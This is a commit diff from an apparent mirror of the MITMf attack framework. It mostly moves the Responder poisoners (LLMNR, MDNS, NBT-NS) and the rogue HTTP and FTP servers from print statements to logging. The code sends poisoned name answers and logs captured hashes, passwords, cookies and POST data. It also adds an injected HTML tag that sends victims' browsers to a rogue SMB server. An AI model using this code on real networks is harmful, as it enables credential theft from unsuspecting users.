mirror of
https://github.com/byt3bl33d3r/MITMf.git
synced 2025-07-07 13:32:18 -07:00
third pass:
- All servers back online - modified logging
This commit is contained in:
parent
46356b2ad5
commit
fa59ca466b
19 changed files with 545 additions and 407 deletions
|
@ -158,6 +158,11 @@
|
|||
|
||||
#Custom WPAD Script
|
||||
WPADScript = 'function FindProxyForURL(url, host){if ((host == "localhost") || shExpMatch(host, "localhost.*") ||(host == "127.0.0.1") || isPlainHostName(host)) return "DIRECT"; if (dnsDomainIs(host, "RespProxySrv")||shExpMatch(host, "(*.RespProxySrv|RespProxySrv)")) return "DIRECT"; return 'PROXY ISAProxySrv:3141; DIRECT';}'
|
||||
|
||||
#HTML answer to inject in HTTP responses (before </body> tag).
|
||||
#Set to an empty string to disable.
|
||||
#In this example, we redirect make users' browsers issue a request to our rogue SMB server.
|
||||
HTMLToInject = <img src='file://RespProxySrv/pictures/logo.jpg' alt='Loading' height='1' width='1'>
|
||||
|
||||
[[HTTPS Server]]
|
||||
|
||||
|
|
|
@ -26,17 +26,15 @@ from core.responder.odict import OrderedDict
|
|||
from SocketServer import BaseRequestHandler, ThreadingMixIn, UDPServer
|
||||
from core.responder.utils import *
|
||||
|
||||
class LLMNR:
|
||||
|
||||
def start(self):
|
||||
try:
|
||||
server = ThreadingUDPLLMNRServer(('', 5355), LLMNRServer)
|
||||
t = threading.Thread(name='LLMNR', target=server.serve_forever)
|
||||
t.setDaemon(True)
|
||||
t.start()
|
||||
except Exception as e:
|
||||
print "Error starting LLMNR server on port 5355"
|
||||
print_exc()
|
||||
def start():
|
||||
try:
|
||||
server = ThreadingUDPLLMNRServer(('', 5355), LLMNRServer)
|
||||
t = threading.Thread(name='LLMNR', target=server.serve_forever)
|
||||
t.setDaemon(True)
|
||||
t.start()
|
||||
except Exception as e:
|
||||
print "Error starting LLMNR server on port 5355"
|
||||
print_exc()
|
||||
|
||||
class ThreadingUDPLLMNRServer(ThreadingMixIn, UDPServer):
|
||||
|
||||
|
@ -80,9 +78,9 @@ def IsICMPRedirectPlausible(IP):
|
|||
dnsip.extend(ip[1:])
|
||||
for x in dnsip:
|
||||
if x !="127.0.0.1" and IsOnTheSameSubnet(x,IP) == False:
|
||||
print color("[Analyze mode: ICMP] You can ICMP Redirect on this network.", 5)
|
||||
print color("[Analyze mode: ICMP] This workstation (%s) is not on the same subnet than the DNS server (%s)." % (IP, x), 5)
|
||||
print color("[Analyze mode: ICMP] Use `python tools/Icmp-Redirect.py` for more details.", 5)
|
||||
settings.Config.AnalyzeLogger.warning("[Analyze mode: ICMP] You can ICMP Redirect on this network.")
|
||||
settings.Config.AnalyzeLogger.warning("[Analyze mode: ICMP] This workstation (%s) is not on the same subnet than the DNS server (%s)." % (IP, x))
|
||||
settings.Config.AnalyzeLogger.warning("[Analyze mode: ICMP] Use `python tools/Icmp-Redirect.py` for more details.")
|
||||
else:
|
||||
pass
|
||||
|
||||
|
@ -109,18 +107,15 @@ class LLMNRServer(BaseRequestHandler):
|
|||
|
||||
# Analyze Mode
|
||||
if settings.Config.AnalyzeMode:
|
||||
LineHeader = "[Analyze mode: LLMNR]"
|
||||
print color("%s Request by %s for %s, ignoring" % (LineHeader, self.client_address[0], Name), 2, 1)
|
||||
settings.Config.AnalyzeLogger.warning("[Analyze mode: LLMNR]{} Request by {} for {}, ignoring".format(self.client_address[0], Name))
|
||||
|
||||
# Poisoning Mode
|
||||
else:
|
||||
Buffer = LLMNR_Ans(Tid=data[0:2], QuestionName=Name, AnswerName=Name)
|
||||
Buffer.calculate()
|
||||
soc.sendto(str(Buffer), self.client_address)
|
||||
LineHeader = "[*] [LLMNR]"
|
||||
|
||||
print color("%s Poisoned answer sent to %s for name %s" % (LineHeader, self.client_address[0], Name), 2, 1)
|
||||
settings.Config.PoisonersLogger.warning("[LLMNR] Poisoned answer sent to {} for name {}".format(self.client_address[0], Name))
|
||||
|
||||
if Finger is not None:
|
||||
print text("[FINGER] OS Version : %s" % color(Finger[0], 3))
|
||||
print text("[FINGER] Client Version : %s" % color(Finger[1], 3))
|
||||
settings.Config.ResponderLogger.info("[FINGER] OS Version: {}".format(Finger[0]))
|
||||
settings.Config.ResponderLogger.info("[FINGER] Client Version: {}".format(Finger[1]))
|
||||
|
|
|
@ -24,17 +24,15 @@ from SocketServer import BaseRequestHandler, ThreadingMixIn, UDPServer
|
|||
from core.responder.packets import MDNS_Ans
|
||||
from core.responder.utils import *
|
||||
|
||||
class MDNS:
|
||||
|
||||
def start(self):
|
||||
try:
|
||||
server = ThreadingUDPMDNSServer(('', 5353), MDNSServer)
|
||||
t = threading.Thread(name='MDNS', target=server.serve_forever)
|
||||
t.setDaemon(True)
|
||||
t.start()
|
||||
except Exception as e:
|
||||
print "Error starting MDNS server on port 5353"
|
||||
print_exc()
|
||||
def start():
|
||||
try:
|
||||
server = ThreadingUDPMDNSServer(('', 5353), MDNSServer)
|
||||
t = threading.Thread(name='MDNS', target=server.serve_forever)
|
||||
t.setDaemon(True)
|
||||
t.start()
|
||||
except Exception as e:
|
||||
print "Error starting MDNS server on port 5353"
|
||||
print_exc()
|
||||
|
||||
class ThreadingUDPMDNSServer(ThreadingMixIn, UDPServer):
|
||||
|
||||
|
@ -56,12 +54,15 @@ class ThreadingUDPMDNSServer(ThreadingMixIn, UDPServer):
|
|||
UDPServer.server_bind(self)
|
||||
|
||||
def Parse_MDNS_Name(data):
|
||||
data = data[12:]
|
||||
NameLen = struct.unpack('>B',data[0])[0]
|
||||
Name = data[1:1+NameLen]
|
||||
NameLen_ = struct.unpack('>B',data[1+NameLen])[0]
|
||||
Name_ = data[1+NameLen:1+NameLen+NameLen_+1]
|
||||
return Name+'.'+Name_
|
||||
try:
|
||||
data = data[12:]
|
||||
NameLen = struct.unpack('>B',data[0])[0]
|
||||
Name = data[1:1+NameLen]
|
||||
NameLen_ = struct.unpack('>B',data[1+NameLen])[0]
|
||||
Name_ = data[1+NameLen:1+NameLen+NameLen_+1]
|
||||
return Name+'.'+Name_
|
||||
except IndexError:
|
||||
return None
|
||||
|
||||
def Poisoned_MDNS_Name(data):
|
||||
data = data[12:]
|
||||
|
@ -79,14 +80,14 @@ class MDNSServer(BaseRequestHandler):
|
|||
Request_Name = Parse_MDNS_Name(data)
|
||||
|
||||
# Break out if we don't want to respond to this host
|
||||
if RespondToThisHost(self.client_address[0], Request_Name) is not True:
|
||||
if (not Request_Name) or (RespondToThisHost(self.client_address[0], Request_Name) is not True):
|
||||
return None
|
||||
|
||||
try:
|
||||
# Analyze Mode
|
||||
if settings.Config.AnalyzeMode:
|
||||
if Parse_IPV6_Addr(data):
|
||||
print text('[Analyze mode: MDNS] Request by %-15s for %s, ignoring' % (color(self.client_address[0], 3), color(Request_Name, 3)))
|
||||
settings.Config.AnalyzeLogger.warning('[Analyze mode: MDNS] Request by %-15s for %s, ignoring' % (self.client_address[0], Request_Name))
|
||||
|
||||
# Poisoning Mode
|
||||
else:
|
||||
|
@ -97,7 +98,7 @@ class MDNSServer(BaseRequestHandler):
|
|||
Buffer.calculate()
|
||||
soc.sendto(str(Buffer), (MADDR, MPORT))
|
||||
|
||||
print color('[*] [MDNS] Poisoned answer sent to %-15s for name %s' % (self.client_address[0], Request_Name), 2, 1)
|
||||
settings.Config.PoisonersLogger.warning('[MDNS] Poisoned answer sent to %-15s for name %s' % (self.client_address[0], Request_Name))
|
||||
|
||||
except Exception:
|
||||
raise
|
|
@ -24,17 +24,15 @@ from core.responder.packets import NBT_Ans
|
|||
from SocketServer import BaseRequestHandler, ThreadingMixIn, UDPServer
|
||||
from core.responder.utils import *
|
||||
|
||||
class NBTNS:
|
||||
|
||||
def start(self):
|
||||
try:
|
||||
server = ThreadingUDPServer(('', 137), NBTNSServer)
|
||||
t = threading.Thread(name='NBTNS', target=server.serve_forever)
|
||||
t.setDaemon(True)
|
||||
t.start()
|
||||
except Exception as e:
|
||||
print "Error starting NBTNS server on port 137"
|
||||
print_exec()
|
||||
def start():
|
||||
try:
|
||||
server = ThreadingUDPServer(('', 137), NBTNSServer)
|
||||
t = threading.Thread(name='NBTNS', target=server.serve_forever)
|
||||
t.setDaemon(True)
|
||||
t.start()
|
||||
except Exception as e:
|
||||
print "Error starting NBTNS server on port 137"
|
||||
print_exec()
|
||||
|
||||
class ThreadingUDPServer(ThreadingMixIn, UDPServer):
|
||||
|
||||
|
@ -88,18 +86,16 @@ class NBTNSServer(BaseRequestHandler):
|
|||
|
||||
# Analyze Mode
|
||||
if settings.Config.AnalyzeMode:
|
||||
LineHeader = "[Analyze mode: NBT-NS]"
|
||||
print color("%s Request by %s for %s, ignoring" % (LineHeader, self.client_address[0], Name), 2, 1)
|
||||
settings.Config.AnalyzeLogger.warning("[Analyze mode: NBT-NS] Request by %s for %s, ignoring" % (self.client_address[0], Name))
|
||||
|
||||
# Poisoning Mode
|
||||
else:
|
||||
Buffer = NBT_Ans()
|
||||
Buffer.calculate(data)
|
||||
socket.sendto(str(Buffer), self.client_address)
|
||||
LineHeader = "[*] [NBT-NS]"
|
||||
|
||||
print color("%s Poisoned answer sent to %s for name %s (service: %s)" % (LineHeader, self.client_address[0], Name, NBT_NS_Role(data[43:46])), 2, 1)
|
||||
settings.Config.PoisonersLogger.warning("[NBT-NS] Poisoned answer sent to %s for name %s (service: %s)" % (self.client_address[0], Name, NBT_NS_Role(data[43:46])))
|
||||
|
||||
if Finger is not None:
|
||||
print text("[FINGER] OS Version : %s" % color(Finger[0], 3))
|
||||
print text("[FINGER] Client Version : %s" % color(Finger[1], 3))
|
||||
settings.Config.ResponderLogger.info("[FINGER] OS Version : %s" % Finger[0])
|
||||
settings.Config.ResponderLogger.info("[FINGER] Client Version : %s" % Finger[1])
|
||||
|
|
|
@ -64,5 +64,5 @@ def RunSmbFinger(host):
|
|||
if data[8:10] == "\x73\x16":
|
||||
return OsNameClientVersion(data)
|
||||
except:
|
||||
print color("[!] ", 1, 1) +" Fingerprint failed"
|
||||
settings.Config.AnalyzeLogger.warning("Fingerprint failed for host: {}".format(host))
|
||||
return None
|
||||
|
|
|
@ -19,6 +19,8 @@ import sys
|
|||
import socket
|
||||
import utils
|
||||
import logging
|
||||
|
||||
from core.logger import logger
|
||||
from core.configwatcher import ConfigWatcher
|
||||
|
||||
__version__ = 'Responder 2.2'
|
||||
|
@ -114,15 +116,16 @@ class Settings(ConfigWatcher):
|
|||
self.Serve_Always = self.toBool(self.config['Responder']['HTTP Server']['Serve-Always'])
|
||||
self.Serve_Html = self.toBool(self.config['Responder']['HTTP Server']['Serve-Html'])
|
||||
self.Html_Filename = self.config['Responder']['HTTP Server']['HtmlFilename']
|
||||
self.HtmlToInject = self.config['Responder']['HTTP Server']['HTMLToInject']
|
||||
self.Exe_Filename = self.config['Responder']['HTTP Server']['ExeFilename']
|
||||
self.Exe_DlName = self.config['Responder']['HTTP Server']['ExeDownloadName']
|
||||
self.WPAD_Script = self.config['Responder']['HTTP Server']['WPADScript']
|
||||
|
||||
if not os.path.exists(self.Html_Filename):
|
||||
print utils.color("/!\ Warning: %s: file not found" % self.Html_Filename, 3, 1)
|
||||
print "Warning: %s: file not found" % self.Html_Filename
|
||||
|
||||
if not os.path.exists(self.Exe_Filename):
|
||||
print utils.color("/!\ Warning: %s: file not found" % self.Exe_Filename, 3, 1)
|
||||
print "Warning: %s: file not found" % self.Exe_Filename
|
||||
|
||||
# SSL Options
|
||||
self.SSLKey = self.config['Responder']['HTTPS Server']['SSLKey']
|
||||
|
@ -146,8 +149,9 @@ class Settings(ConfigWatcher):
|
|||
self.AnalyzeMode = options.analyze
|
||||
#self.Upstream_Proxy = options.Upstream_Proxy
|
||||
|
||||
self.Verbose = True
|
||||
self.CommandLine = str(sys.argv)
|
||||
self.Verbose = False
|
||||
if options.log_level == 'debug':
|
||||
self.Verbose = True
|
||||
|
||||
self.Bind_To = utils.FindLocalIP(self.Interface)
|
||||
|
||||
|
@ -158,7 +162,7 @@ class Settings(ConfigWatcher):
|
|||
self.NumChal = self.config['Responder']['Challenge']
|
||||
|
||||
if len(self.NumChal) is not 16:
|
||||
print utils.color("[!] The challenge must be exactly 16 chars long.\nExample: 1122334455667788", 1)
|
||||
print "The challenge must be exactly 16 chars long.\nExample: 1122334455667788"
|
||||
sys.exit(-1)
|
||||
|
||||
self.Challenge = ""
|
||||
|
@ -166,23 +170,12 @@ class Settings(ConfigWatcher):
|
|||
self.Challenge += self.NumChal[i:i+2].decode("hex")
|
||||
|
||||
# Set up logging
|
||||
logging.basicConfig(filename=self.SessionLogFile, level=logging.INFO, format='%(asctime)s - %(message)s', datefmt='%Y-%m-%d %H:%M:%S')
|
||||
logging.warning('Responder Started: {}'.format(self.CommandLine))
|
||||
formatter = logging.Formatter("%(asctime)s %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
|
||||
self.ResponderLogger = logger().setup_logger("Responder", formatter, self.SessionLogFile)
|
||||
#logging.warning('Responder Started: {}'.format(self.CommandLine))
|
||||
#logging.warning('Responder Config: {}'.format(self))
|
||||
|
||||
Formatter = logging.Formatter('%(asctime)s - %(message)s')
|
||||
PLog_Handler = logging.FileHandler(self.PoisonersLogFile, 'w')
|
||||
ALog_Handler = logging.FileHandler(self.AnalyzeLogFile, 'a')
|
||||
PLog_Handler.setLevel(logging.INFO)
|
||||
ALog_Handler.setLevel(logging.INFO)
|
||||
PLog_Handler.setFormatter(Formatter)
|
||||
ALog_Handler.setFormatter(Formatter)
|
||||
self.PoisonersLogger = logger().setup_logger("Poison log", formatter, self.PoisonersLogFile)
|
||||
self.AnalyzeLogger = logger().setup_logger("Analyze Log", formatter, self.AnalyzeLogFile)
|
||||
|
||||
self.PoisonersLogger = logging.getLogger('Poisoners Log')
|
||||
self.PoisonersLogger.addHandler(PLog_Handler)
|
||||
|
||||
self.AnalyzeLogger = logging.getLogger('Analyze Log')
|
||||
self.AnalyzeLogger.addHandler(ALog_Handler)
|
||||
|
||||
global Config
|
||||
Config = Settings()
|
|
@ -21,34 +21,7 @@ import logging
|
|||
import socket
|
||||
import time
|
||||
import settings
|
||||
|
||||
try:
|
||||
import sqlite3
|
||||
except:
|
||||
print "[!] Please install python-sqlite3 extension."
|
||||
sys.exit(0)
|
||||
|
||||
def color(txt, code = 1, modifier = 0):
|
||||
|
||||
if txt.startswith('[*]'):
|
||||
settings.Config.PoisonersLogger.warning(txt)
|
||||
|
||||
elif 'Analyze' in txt:
|
||||
settings.Config.AnalyzeLogger.warning(txt)
|
||||
|
||||
# No colors for windows...
|
||||
if os.name == 'nt':
|
||||
return txt
|
||||
|
||||
return "\033[%d;3%dm%s\033[0m" % (modifier, code, txt)
|
||||
|
||||
def text(txt):
|
||||
logging.info(txt)
|
||||
|
||||
if os.name == 'nt':
|
||||
return txt
|
||||
|
||||
return '\r'+re.sub(r'\[([^]]*)\]', "\033[1;34m[\\1]\033[0m", txt)
|
||||
import sqlite3
|
||||
|
||||
def RespondToThisIP(ClientIp):
|
||||
|
||||
|
@ -102,13 +75,12 @@ def FindLocalIP(Iface):
|
|||
return ret
|
||||
|
||||
except socket.error:
|
||||
print color("[!] Error: %s: Interface not found" % Iface, 1)
|
||||
sys.exit(-1)
|
||||
|
||||
# Function used to write captured hashs to a file.
|
||||
def WriteData(outfile, data, user):
|
||||
|
||||
logging.info("[*] Captured Hash: %s" % data)
|
||||
settings.Config.ResponderLogger.info("[*] Captured Hash: %s" % data)
|
||||
|
||||
if os.path.isfile(outfile) == False:
|
||||
with open(outfile,"w") as outf:
|
||||
|
@ -176,23 +148,22 @@ def SaveToDb(result):
|
|||
if count == 0 or settings.Config.Verbose:
|
||||
|
||||
if len(result['client']):
|
||||
print text("[%s] %s Client : %s" % (result['module'], result['type'], color(result['client'], 3)))
|
||||
settings.Config.ResponderLogger.info("[%s] %s Client : %s" % (result['module'], result['type'], result['client']))
|
||||
if len(result['hostname']):
|
||||
print text("[%s] %s Hostname : %s" % (result['module'], result['type'], color(result['hostname'], 3)))
|
||||
settings.Config.ResponderLogger.info("[%s] %s Hostname : %s" % (result['module'], result['type'], result['hostname']))
|
||||
if len(result['user']):
|
||||
print text("[%s] %s Username : %s" % (result['module'], result['type'], color(result['user'], 3)))
|
||||
|
||||
# Bu order of priority, print cleartext, fullhash, or hash
|
||||
if len(result['cleartext']):
|
||||
print text("[%s] %s Password : %s" % (result['module'], result['type'], color(result['cleartext'], 3)))
|
||||
elif len(result['fullhash']):
|
||||
print text("[%s] %s Hash : %s" % (result['module'], result['type'], color(result['fullhash'], 3)))
|
||||
elif len(result['hash']):
|
||||
print text("[%s] %s Hash : %s" % (result['module'], result['type'], color(result['hash'], 3)))
|
||||
|
||||
else:
|
||||
print color('[*]', 2, 1), 'Skipping previously captured hash for %s' % result['user']
|
||||
settings.Config.ResponderLogger.info("[%s] %s Username : %s" % (result['module'], result['type'], result['user']))
|
||||
|
||||
# By order of priority, print cleartext, fullhash, or hash
|
||||
if len(result['cleartext']):
|
||||
settings.Config.ResponderLogger.info("[%s] %s Password : %s" % (result['module'], result['type'], result['cleartext']))
|
||||
elif len(result['fullhash']):
|
||||
settings.Config.ResponderLogger.info("[%s] %s Hash : %s" % (result['module'], result['type'], result['fullhash']))
|
||||
elif len(result['hash']):
|
||||
settings.Config.ResponderLogger.info("[%s] %s Hash : %s" % (result['module'], result['type'], result['hash']))
|
||||
|
||||
else:
|
||||
settings.Config.PoisonersLogger.warning('Skipping previously captured hash for %s' % result['user'])
|
||||
|
||||
def Parse_IPV6_Addr(data):
|
||||
|
||||
|
@ -238,88 +209,6 @@ def NBT_NS_Role(data):
|
|||
|
||||
return Role[data] if data in Role else "Service not known"
|
||||
|
||||
def banner():
|
||||
|
||||
banner = "\n".join([
|
||||
' __',
|
||||
' .----.-----.-----.-----.-----.-----.--| |.-----.----.',
|
||||
' | _| -__|__ --| _ | _ | | _ || -__| _|',
|
||||
' |__| |_____|_____| __|_____|__|__|_____||_____|__|',
|
||||
' |__|'
|
||||
])
|
||||
|
||||
print banner
|
||||
print "\n \033[1;33mNBT-NS, LLMNR & MDNS %s\033[0m" % settings.__version__
|
||||
print ""
|
||||
print " Original work by Laurent Gaffie (lgaffie@trustwave.com)"
|
||||
print " To kill this script hit CRTL-C"
|
||||
print ""
|
||||
|
||||
def StartupMessage():
|
||||
enabled = color('[ON]', 2, 1)
|
||||
disabled = color('[OFF]', 1, 1)
|
||||
|
||||
print ""
|
||||
print color("[+] ", 2, 1) + "Poisoners:"
|
||||
print ' %-27s' % "LLMNR" + enabled
|
||||
print ' %-27s' % "NBT-NS" + enabled
|
||||
print ' %-27s' % "DNS/MDNS" + enabled
|
||||
print ""
|
||||
|
||||
print color("[+] ", 2, 1) + "Servers:"
|
||||
print ' %-27s' % "HTTP server" + (enabled if settings.Config.HTTP_On_Off else disabled)
|
||||
print ' %-27s' % "HTTPS server" + (enabled if settings.Config.SSL_On_Off else disabled)
|
||||
print ' %-27s' % "WPAD proxy" + (enabled if settings.Config.WPAD_On_Off else disabled)
|
||||
print ' %-27s' % "SMB server" + (enabled if settings.Config.SMB_On_Off else disabled)
|
||||
print ' %-27s' % "Kerberos server" + (enabled if settings.Config.Krb_On_Off else disabled)
|
||||
print ' %-27s' % "SQL server" + (enabled if settings.Config.SQL_On_Off else disabled)
|
||||
print ' %-27s' % "FTP server" + (enabled if settings.Config.FTP_On_Off else disabled)
|
||||
print ' %-27s' % "IMAP server" + (enabled if settings.Config.IMAP_On_Off else disabled)
|
||||
print ' %-27s' % "POP3 server" + (enabled if settings.Config.POP_On_Off else disabled)
|
||||
print ' %-27s' % "SMTP server" + (enabled if settings.Config.SMTP_On_Off else disabled)
|
||||
print ' %-27s' % "DNS server" + (enabled if settings.Config.DNS_On_Off else disabled)
|
||||
print ' %-27s' % "LDAP server" + (enabled if settings.Config.LDAP_On_Off else disabled)
|
||||
print ""
|
||||
|
||||
print color("[+] ", 2, 1) + "HTTP Options:"
|
||||
print ' %-27s' % "Always serving EXE" + (enabled if settings.Config.Serve_Always else disabled)
|
||||
print ' %-27s' % "Serving EXE" + (enabled if settings.Config.Serve_Exe else disabled)
|
||||
print ' %-27s' % "Serving HTML" + (enabled if settings.Config.Serve_Html else disabled)
|
||||
print ' %-27s' % "Upstream Proxy" + (enabled if settings.Config.Upstream_Proxy else disabled)
|
||||
#print ' %-27s' % "WPAD script" + settings.Config.WPAD_Script
|
||||
print ""
|
||||
|
||||
print color("[+] ", 2, 1) + "Poisoning Options:"
|
||||
print ' %-27s' % "Analyze Mode" + (enabled if settings.Config.AnalyzeMode else disabled)
|
||||
print ' %-27s' % "Force WPAD auth" + (enabled if settings.Config.Force_WPAD_Auth else disabled)
|
||||
print ' %-27s' % "Force Basic Auth" + (enabled if settings.Config.Basic else disabled)
|
||||
print ' %-27s' % "Force LM downgrade" + (enabled if settings.Config.LM_On_Off == True else disabled)
|
||||
print ' %-27s' % "Fingerprint hosts" + (enabled if settings.Config.Finger_On_Off == True else disabled)
|
||||
print ""
|
||||
|
||||
print color("[+] ", 2, 1) + "Generic Options:"
|
||||
print ' %-27s' % "Responder NIC" + color('[%s]' % settings.Config.Interface, 5, 1)
|
||||
print ' %-27s' % "Responder IP" + color('[%s]' % settings.Config.Bind_To, 5, 1)
|
||||
print ' %-27s' % "Challenge set" + color('[%s]' % settings.Config.NumChal, 5, 1)
|
||||
|
||||
if settings.Config.Upstream_Proxy:
|
||||
print ' %-27s' % "Upstream Proxy" + color('[%s]' % settings.Config.Upstream_Proxy, 5, 1)
|
||||
|
||||
if len(settings.Config.RespondTo):
|
||||
print ' %-27s' % "Respond To" + color(str(settings.Config.RespondTo), 5, 1)
|
||||
|
||||
if len(settings.Config.RespondToName):
|
||||
print ' %-27s' % "Respond To Names" + color(str(settings.Config.RespondToName), 5, 1)
|
||||
|
||||
if len(settings.Config.DontRespondTo):
|
||||
print ' %-27s' % "Don't Respond To" + color(str(settings.Config.DontRespondTo), 5, 1)
|
||||
|
||||
if len(settings.Config.DontRespondToName):
|
||||
print ' %-27s' % "Don't Respond To Names" + color(str(settings.Config.DontRespondToName), 5, 1)
|
||||
|
||||
print ""
|
||||
print ""
|
||||
|
||||
# Useful for debugging
|
||||
def hexdump(src, l=0x16):
|
||||
res = []
|
||||
|
|
|
@ -87,15 +87,15 @@ def ParsePacket(Payload):
|
|||
def RAPThisDomain(Client,Domain):
|
||||
PDC = RapFinger(Client,Domain,"\x00\x00\x00\x80")
|
||||
if PDC is not None:
|
||||
print text("[LANMAN] Detected Domains: %s" % ', '.join(PDC))
|
||||
settings.Config.ResponderLogger.info("[LANMAN] Detected Domains: %s" % ', '.join(PDC))
|
||||
|
||||
SQL = RapFinger(Client,Domain,"\x04\x00\x00\x00")
|
||||
if SQL is not None:
|
||||
print text("[LANMAN] Detected SQL Servers on domain %s: %s" % (Domain, ', '.join(SQL)))
|
||||
settings.Config.ResponderLogger.info("[LANMAN] Detected SQL Servers on domain %s: %s" % (Domain, ', '.join(SQL)))
|
||||
|
||||
WKST = RapFinger(Client,Domain,"\xff\xff\xff\xff")
|
||||
if WKST is not None:
|
||||
print text("[LANMAN] Detected Workstations/Servers on domain %s: %s" % (Domain, ', '.join(WKST)))
|
||||
settings.Config.ResponderLogger.info("[LANMAN] Detected Workstations/Servers on domain %s: %s" % (Domain, ', '.join(WKST)))
|
||||
|
||||
def RapFinger(Host, Domain, Type):
|
||||
try:
|
||||
|
@ -169,7 +169,7 @@ def BecomeBackup(data,Client):
|
|||
Role = NBT_NS_Role(data[45:48])
|
||||
|
||||
if settings.Config.AnalyzeMode:
|
||||
print text("[Analyze mode: Browser] Datagram Request from IP: %s hostname: %s via the: %s wants to become a Local Master Browser Backup on this domain: %s."%(Client, Name,Role,Domain))
|
||||
settings.Config.AnalyzeLogger.warning("[Analyze mode: Browser] Datagram Request from IP: %s hostname: %s via the: %s wants to become a Local Master Browser Backup on this domain: %s."%(Client, Name,Role,Domain))
|
||||
print RAPThisDomain(Client, Domain)
|
||||
|
||||
except:
|
||||
|
@ -184,7 +184,7 @@ def ParseDatagramNBTNames(data,Client):
|
|||
|
||||
|
||||
if Role2 == "Domain Controller" or Role2 == "Browser Election" or Role2 == "Local Master Browser" and settings.Config.AnalyzeMode:
|
||||
print text('[Analyze mode: Browser] Datagram Request from IP: %s hostname: %s via the: %s to: %s. Service: %s' % (Client, Name, Role1, Domain, Role2))
|
||||
settings.Config.AnalyzeLogger.warning('[Analyze mode: Browser] Datagram Request from IP: %s hostname: %s via the: %s to: %s. Service: %s' % (Client, Name, Role1, Domain, Role2))
|
||||
print RAPThisDomain(Client, Domain)
|
||||
except:
|
||||
pass
|
||||
|
|
|
@ -15,12 +15,41 @@
|
|||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
import os
|
||||
import threading
|
||||
|
||||
from core.utils import *
|
||||
from SocketServer import BaseRequestHandler
|
||||
from core.packets import FTPPacket
|
||||
from core.responder.utils import *
|
||||
from SocketServer import BaseRequestHandler, ThreadingMixIn, TCPServer
|
||||
from core.responder.packets import FTPPacket
|
||||
|
||||
class FTP(BaseRequestHandler):
|
||||
class FTP:
|
||||
|
||||
def start(self):
|
||||
try:
|
||||
if OsInterfaceIsSupported():
|
||||
server = ThreadingTCPServer((settings.Config.Bind_To, 21), FTP1)
|
||||
else:
|
||||
server = ThreadingTCPServer(('', 21), FTP1)
|
||||
|
||||
t = threading.Thread(name='SMB', target=server.serve_forever)
|
||||
t.setDaemon(True)
|
||||
t.start()
|
||||
except Exception as e:
|
||||
print "Error starting SMB server: {}".format(e)
|
||||
print_exc()
|
||||
|
||||
class ThreadingTCPServer(ThreadingMixIn, TCPServer):
|
||||
|
||||
allow_reuse_address = 1
|
||||
|
||||
def server_bind(self):
|
||||
if OsInterfaceIsSupported():
|
||||
try:
|
||||
self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Bind_To+'\0')
|
||||
except:
|
||||
pass
|
||||
TCPServer.server_bind(self)
|
||||
|
||||
class FTP1(BaseRequestHandler):
|
||||
def handle(self):
|
||||
try:
|
||||
self.request.send(str(FTPPacket()))
|
||||
|
|
|
@ -24,10 +24,14 @@ from SocketServer import BaseServer, BaseRequestHandler, StreamRequestHandler, T
|
|||
from base64 import b64decode, b64encode
|
||||
from core.responder.utils import *
|
||||
|
||||
from core.logger import logger
|
||||
from core.responder.packets import NTLM_Challenge
|
||||
from core.responder.packets import IIS_Auth_401_Ans, IIS_Auth_Granted, IIS_NTLM_Challenge_Ans, IIS_Basic_401_Ans
|
||||
from core.responder.packets import WPADScript, ServeExeFile, ServeHtmlFile
|
||||
|
||||
formatter = logging.Formatter("%(asctime)s %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
|
||||
log = logger().setup_logger("HTTP", formatter)
|
||||
|
||||
class HTTP:
|
||||
|
||||
def start(self):
|
||||
|
@ -113,7 +117,7 @@ def GrabCookie(data, host):
|
|||
if Cookie:
|
||||
Cookie = Cookie.group(0).replace('Cookie: ', '')
|
||||
if len(Cookie) > 1 and settings.Config.Verbose:
|
||||
print text("[HTTP] Cookie : %s " % Cookie)
|
||||
log.info("[HTTP] Cookie : {}".format(Cookie))
|
||||
return Cookie
|
||||
else:
|
||||
return False
|
||||
|
@ -124,7 +128,7 @@ def GrabHost(data, host):
|
|||
if Host:
|
||||
Host = Host.group(0).replace('Host: ', '')
|
||||
if settings.Config.Verbose:
|
||||
print text("[HTTP] Host : %s " % color(Host, 3))
|
||||
log.info("[HTTP] Host : {}".format(Host, 3))
|
||||
return Host
|
||||
else:
|
||||
return False
|
||||
|
@ -152,7 +156,7 @@ def RespondWithFile(client, filename, dlname=None):
|
|||
Buffer = ServeHtmlFile(Payload = ServeFile(filename))
|
||||
|
||||
Buffer.calculate()
|
||||
print text("[HTTP] Sending file %s to %s" % (filename, client))
|
||||
log.info("[HTTP] Sending file {} to {}".format(filename, client))
|
||||
|
||||
return str(Buffer)
|
||||
|
||||
|
@ -161,13 +165,13 @@ def GrabURL(data, host):
|
|||
POST = re.findall('(?<=POST )[^HTTP]*', data)
|
||||
POSTDATA = re.findall('(?<=\r\n\r\n)[^*]*', data)
|
||||
|
||||
if GET and settings.Config.Verbose:
|
||||
print text("[HTTP] GET request from: %-15s URL: %s" % (host, color(''.join(GET), 5)))
|
||||
if GET:
|
||||
log.info("[HTTP] GET request from: {} URL: {}".format(host, ''.join(GET)))
|
||||
|
||||
if POST and settings.Config.Verbose:
|
||||
print text("[HTTP] POST request from: %-15s URL: %s" % (host, color(''.join(POST), 5)))
|
||||
if POST:
|
||||
log.info("[HTTP] POST request from: {} URL: {}".format(host, ''.join(POST)))
|
||||
if len(''.join(POSTDATA)) > 2:
|
||||
print text("[HTTP] POST Data: %s" % ''.join(POSTDATA).strip())
|
||||
log.info("[HTTP] POST Data: {}".format(''.join(POSTDATA).strip()))
|
||||
|
||||
# Handle HTTP packet sequence.
|
||||
def PacketSequence(data, client):
|
||||
|
@ -205,7 +209,7 @@ def PacketSequence(data, client):
|
|||
ParseHTTPHash(NTLM_Auth, client)
|
||||
|
||||
if settings.Config.Force_WPAD_Auth and WPAD_Custom:
|
||||
print text("[HTTP] WPAD (auth) file sent to %s" % client)
|
||||
log.info("[HTTP] WPAD (auth) file sent to %s" % client)
|
||||
return WPAD_Custom
|
||||
|
||||
else:
|
||||
|
@ -230,7 +234,7 @@ def PacketSequence(data, client):
|
|||
|
||||
if settings.Config.Force_WPAD_Auth and WPAD_Custom:
|
||||
if settings.Config.Verbose:
|
||||
print text("[HTTP] WPAD (auth) file sent to %s" % client)
|
||||
log.info("[HTTP] WPAD (auth) file sent to %s" % client)
|
||||
return WPAD_Custom
|
||||
|
||||
else:
|
||||
|
